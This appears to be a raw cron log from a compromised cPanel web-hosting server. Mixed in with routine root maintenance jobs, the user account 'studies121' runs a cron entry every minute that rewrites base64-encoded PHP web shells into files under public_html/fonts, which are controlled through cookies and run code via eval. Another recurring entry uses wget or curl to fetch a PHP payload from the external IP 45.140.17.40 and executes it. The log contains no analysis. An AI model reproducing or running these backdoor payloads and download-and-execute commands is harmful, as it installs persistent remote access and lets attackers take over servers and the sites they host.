Sep  7 10:50:01 ip-184-168-122-23 CROND[12261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:50:01 ip-184-168-122-23 CROND[12258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:50:01 ip-184-168-122-23 CROND[12259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:50:01 ip-184-168-122-23 CROND[12262]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:50:01 ip-184-168-122-23 CROND[12263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:51:01 ip-184-168-122-23 CROND[12396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:51:01 ip-184-168-122-23 CROND[12398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:51:01 ip-184-168-122-23 CROND[12397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:51:01 ip-184-168-122-23 CROND[12399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:52:01 ip-184-168-122-23 CROND[12522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:52:01 ip-184-168-122-23 CROND[12524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:52:01 ip-184-168-122-23 CROND[12523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:52:01 ip-184-168-122-23 CROND[12526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:52:01 ip-184-168-122-23 CROND[12527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:53:01 ip-184-168-122-23 CROND[12631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:53:01 ip-184-168-122-23 CROND[12632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:53:01 ip-184-168-122-23 CROND[12633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:53:01 ip-184-168-122-23 CROND[12634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:54:01 ip-184-168-122-23 CROND[12763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:54:01 ip-184-168-122-23 CROND[12765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:54:02 ip-184-168-122-23 CROND[12766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:54:02 ip-184-168-122-23 CROND[12768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:54:02 ip-184-168-122-23 CROND[12771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:55:01 ip-184-168-122-23 CROND[12941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:55:01 ip-184-168-122-23 CROND[12942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:55:01 ip-184-168-122-23 CROND[12943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:55:01 ip-184-168-122-23 CROND[12945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:55:01 ip-184-168-122-23 CROND[12948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:55:01 ip-184-168-122-23 CROND[12944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:56:01 ip-184-168-122-23 CROND[13072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:56:01 ip-184-168-122-23 CROND[13074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:56:01 ip-184-168-122-23 CROND[13075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:56:01 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:56:01 ip-184-168-122-23 CROND[13077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:57:01 ip-184-168-122-23 CROND[13193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:57:01 ip-184-168-122-23 CROND[13194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:57:01 ip-184-168-122-23 CROND[13195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:57:01 ip-184-168-122-23 CROND[13196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:58:01 ip-184-168-122-23 CROND[13313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:58:01 ip-184-168-122-23 CROND[13312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:58:01 ip-184-168-122-23 CROND[13314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:58:01 ip-184-168-122-23 CROND[13311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:58:01 ip-184-168-122-23 CROND[13317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:59:01 ip-184-168-122-23 CROND[13411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:59:01 ip-184-168-122-23 CROND[13412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:59:01 ip-184-168-122-23 CROND[13413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:59:01 ip-184-168-122-23 CROND[13414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:00:01 ip-184-168-122-23 CROND[13585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:00:01 ip-184-168-122-23 CROND[13586]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:00:01 ip-184-168-122-23 CROND[13587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:00:01 ip-184-168-122-23 CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:00:01 ip-184-168-122-23 CROND[13588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:00:01 ip-184-168-122-23 CROND[13591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:00:01 ip-184-168-122-23 CROND[13590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:00:01 ip-184-168-122-23 CROND[13593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:01:01 ip-184-168-122-23 CROND[13731]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:01:01 ip-184-168-122-23 CROND[13729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:01:01 ip-184-168-122-23 CROND[13730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:01:01 ip-184-168-122-23 CROND[13732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:01:01 ip-184-168-122-23 CROND[13734]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 11:01:01 ip-184-168-122-23 CROND[13733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13734]: starting 0anacron
Sep  7 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13751]: finished 0anacron
Sep  7 11:02:01 ip-184-168-122-23 CROND[13879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
